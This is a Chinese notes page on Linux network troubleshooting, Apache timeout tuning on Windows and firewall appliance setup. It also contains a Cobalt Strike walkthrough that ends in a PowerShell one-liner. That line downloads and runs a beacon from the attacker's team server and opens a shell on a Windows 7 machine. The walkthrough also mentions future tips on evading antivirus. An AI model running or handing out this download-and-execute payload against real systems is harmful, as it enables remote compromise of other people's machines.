来自《高性能Linux服务器构建实战》记录。

Linux系统下产生的故障有百分之六十来自网络方面,百分之四十来自系统原因,熟练解决Linux下的网络故障对于Linux运维工作有着巨大的帮助。

解决网络问题的顺序应该先从Linux操作系统自身的底层网络开始,然后逐步向外扩展,自底向上这种思路。

网络硬件问题,可以通过检查网线、网卡、集线器、路由器、交换机等是否正常来确认是否有硬件问题造成的网络故障。
监察网卡是否能够正常工作,可以从网卡驱动是否正常价在,IP地址手否正确配置,系统路由是否设置正确的来确认。
检察局域网主机之间是否正常通讯(通过ping命令检查自身ip,局域网内其他主机)
检查DNS是否设置正确,可以从Linux的DNS客户端配置文件/etc/resolv.conf、本地文件/etc/hosts来进行确认(比如某些情况下curl检测ip和域名是否能够找到主机名)
服务是否正常打开,可以通过telnet远程访问端口,或者netstat命令检测本机端口是否处在listen状态。
检查访问权限是否正确打开,可以从本机的iptables防火墙和selinux入手检查。
检查网络硬件问题
检查网络硬件问题,如果发现某些设备出现故障只需更换硬件解决问题。
检查网卡是否工作
ifconfig命令可以判断网卡是否正常加载,(如cetnos6中网卡Eth1和eth0)。
检查网卡ip是否正确
常见如虚拟机复制过程中出现的网卡mac地址冲突,windwos会提示ip冲突等问题。
查看系统路由表设置问题。
route排除每个网卡对应的网段以及功能。
检查DNS设置是否正确:
在linux系统中,有两个文件来制定系统到哪里去寻找相关域名解析的库:分别是/etc/host.conf&&/etc/nsswitch.conf
host文件用来指定系统如何解析主机名。
检查服务是否正常打开
应用出现故障时,必须被检查的就是服务本身,比如说服务是否开启,配置文件是否都正确的配置等。
检查服务可以分为两步,第一步是检查端口是否打开。第二步检查配置文件信息。可以去查询官方文档
检查防火墙iptables的状态,如果某些服务无法访问可以去查询下iptables是否给屏蔽掉了端口如iptables -L -n

常见问题解决思路(故障排查思路):
重视错误提示,当错误出现时,查看错误信息,有目的地的去解决查找问题,将会节省大量的时间。
查看日志文件,有的问题出现后,不同问题的报错信息可能会是同一个(eg:frp报错i/o time out有可能是端口占用,有可能是客户端服务端版本不同。),此时则需要查看系统日志或者应用日志。
分析定位问题的原因。(注意备份文件,格式xxx-2017-xx-xx-1/2/3.bak)
解决问题。(通过查找资料或者翻阅官方文档、eg:tomcat启动时间久,官方文档给出了解决方案。)

系统无法启动的可能原因:
文件系统被破坏
系统重要文件被删除或修改(如hosts文件修改后无法进入系统,只能进入dos界面。)
Linux内核文件丢失。
引导分区(程序)出现问题,无法进入系统。
硬件问题(如服务器内存频率不同)。

一个朋友在qq问我apache并发优化怎么做,我说网上有文章,服务器设置并发他设置了,但是访问量不是很高的时候就已经死了,简单看了下配置,没有问题,简单推荐下apache还是和linux 配合,win下还是有些需要优化的地方不太好,后来看错误日志,分析出连接后未设置超时时间,本文做个记录。是上线的服务器,打码厚一些。
服务器配置还是不错的 16g+e5620*2

 ’
QQ20190331-141930@2x.png
QQ20190331-141942@2x.png
问题就在这里。

其实我win下的设置不是很懂,也是边谷歌边弄,上线服务器就是多备份了。
QQ20190331-141950@2x.png
根据日志谷歌了一下,没有什么有用的,把php的session开启了也还是存在问题。
下面说下解决方法:
QQ20190331-141956@2x.png
一个是设置并发的。
另一个是设置timeout时间。否则的话存在大量空连接,占用线程。
httpd-default.conf设置
在httpd.conf中去掉Include conf/extra/httpd-default.conf前的#以使httpd-default.php生效。我们需要调节以下参数:
Timeout 20
该参数为连接超时,缺省的300秒显然太大,缩小该参数就会减少同时连接数,即用户实际占用的线程数,这样就可以起到配合上面ThreadsPerChlid参数的作用。
KeepAlive On
该参数为是否保持活连接,目前网站中一个页面一般会包含多个文件,所以相应用户访问时会有多个请求,因此开启可以提高服务器性能。
MaxKeepAliveRequests 50
该参数为最大的活连接请求数,可以根据网页实际包含的文件数目自行调节。
KeepAliveTimeout 5
该参数为活连接的超时时间,一般只要设置成小于Timeout即可。
这样设置后,Apache在响应请求和防止恶意攻击方面就取得较为平衡的效果,当然由于内存回收机制和进程管理不同,Windows下长期运行 Apache还是不如Unix稳定,因此我们可以让Apache在每天凌晨访问人数少时自动重启一次,以回收资源。用Windows自带的计划任务就可以 简单的实现。这样,我们就使Apache在Windows平台下像Unix一样长期稳定的提供服务了。
ps:最后还是让他写了个定时重启apache的脚本。防止在出现这种情况。

Cobalt Strike安装使用并回弹一个shell
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。也是一个C/S结构的工具
首先登陆远程服务器,cs是一个团队协作的工具,而且可以隐藏后端攻击者ip,所以远程登录到服务器上,并安装java8
QQ20190331-140757@2x.png
在服务器上执行
./teamserver 10.14.4.16 123
ip是你服务器的公网/内网地址 123是连接密码
QQ20190331-140812@2x.png
在客户端上运行。
QQ20190331-140827@2x.png
用户名随意,密码123
连接后
QQ20190331-140835@2x.png
这就已经成功连接到服务器上了。
QQ20190331-140843@2x.png
接下来创建一个监听事件
QQ20190331-140851@2x.png
在这里创建一个监听事件,监听端口选择8088
QQ20190331-140858@2x.png
beacon的地址也选择外网地址反射回的,如果前端没有其他转发服务器的话。
QQ20190331-140904@2x.png

监听建立成功。
接下来生成shell
attacks》web drive-by》
QQ20190331-140918@2x.png

目标机器是win7,那么我使用powershell来远程下载。
QQ20190331-140939@2x.png
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.14.4.16:80/aaaa'))"

生成代码已经给出了
QQ20190331-140946@2x.png
在win下执行命令
QQ20190331-141000@2x.png
可以看到,已经上线了。
稍后可能会写怎么绕过火绒的提醒,执行shell

防火墙有三种连接方式:网桥————作用相当于一段网线

                  路由————NAT/路由器
                  混合————内口--vlan/外口—公网/DMZ—vlan

混合型:内口和DMZ划一个Vlan,以防火墙为网关。

注意:单电开机,有警报声有一个按键去掉响声。COM口连接 PORT9600
关机,重启机器,配置笔记本IP为192.168.1.X网段,255.255.255.0,用网线接设备的eth0口,通过IE浏览器输入https://192.168.1.100,登录防火墙开始进行配置。
QQ20190331-140144@2x.png

缺省登录地址:https://192.168.1.100
8光口/6个常口、root用户无法修改配置,需要admin或者其他用户。
一般强行全双工(100M/1000M)
外/内口ip配置:eth0假设管理口,(非com)
Eth1和eth2为内外网接口,初次登录需将接口“模式”从二层改为三层,并配置IP地址,然后启用WebAuth以方便日后用该IP进行设备的管理。
eth1为内网接口:192.168.0.1 24位掩码
eth2位外网接口:202.103.1.2 24位掩码
QQ20190331-140158@2x.png
配置安全域:
in 内安全域 eth1
out 外安全域 eth2
QQ20190331-140206@2x.png
路由:
0.0.0.0/0
出口 eth2
网关:电信提供202.103.1.1
跳数1
QQ20190331-140214@2x.png
地址转换:定义映射(NAT转换)
依次展开配置——地址转换——地址映射
地址映射:单————单
源地址转换:多————单(内转公)
目的地址转换:(公转内)
从内出外 eth1 (2) 从外入内 eth2(3)
访问策略:
策略 in——out
原192.168.0.1/254
目的 any 允许
out——in
内192.168.0.2 ip ——80
原 1-65535 启用
void不可重复

导出配置文件

点击“整机配置”,输入文件名,然后点击保存按钮